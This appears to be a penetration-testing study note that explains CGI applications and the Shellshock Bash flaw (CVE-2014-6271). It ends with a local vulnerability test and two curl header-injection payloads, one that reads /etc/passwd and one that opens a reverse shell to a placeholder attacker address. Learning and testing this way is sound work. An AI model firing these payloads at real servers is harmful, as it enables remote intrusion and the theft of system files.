CGI Applications


  • A Common Gateway Interface (CGI) is used to help a web server render dynamic pages and create a customized response for the user making a request via a web application.

  • CGI applications are primarily used to access other applications running on a web server.

  • CGI is essentially middleware between web servers, external databases, and information sources.

  • CGI scripts and programs are kept in the /CGI-bin directory on a web server

  • Typically written in C, C++, Java, PERL, etc

  • CGI scripts run in the security context of the web server

CGI Applications - Shellshock [CVE-2014-6271]

  • The most well-known CGI attack is exploiting the Shellshock (aka, "Bash bug") vulnerability via CGI.

  • Resource:

  • Affected Versions: GNU Bash up until version 4.3

  • Description: Shellshock is a security flaw in the Bash shell that allows an attacker to execute operating system commands that are included after a function stored inside an environment variable.

  • PoC Example: env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"

    • Nothing will happen when the environment variable is assigned a value

    • If the target is vulnerable, whenever the environment variable is imported, the command echo vulnerable-shellshock will be executed

    • If the target is NOT vulnerable, then the command echo not vulnerable will be executed

Shellshock PoC to read any file: curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :''

Shellshock PoC to gain a Reverse Shell: curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/your-ip/your-nc-port 0>&1'

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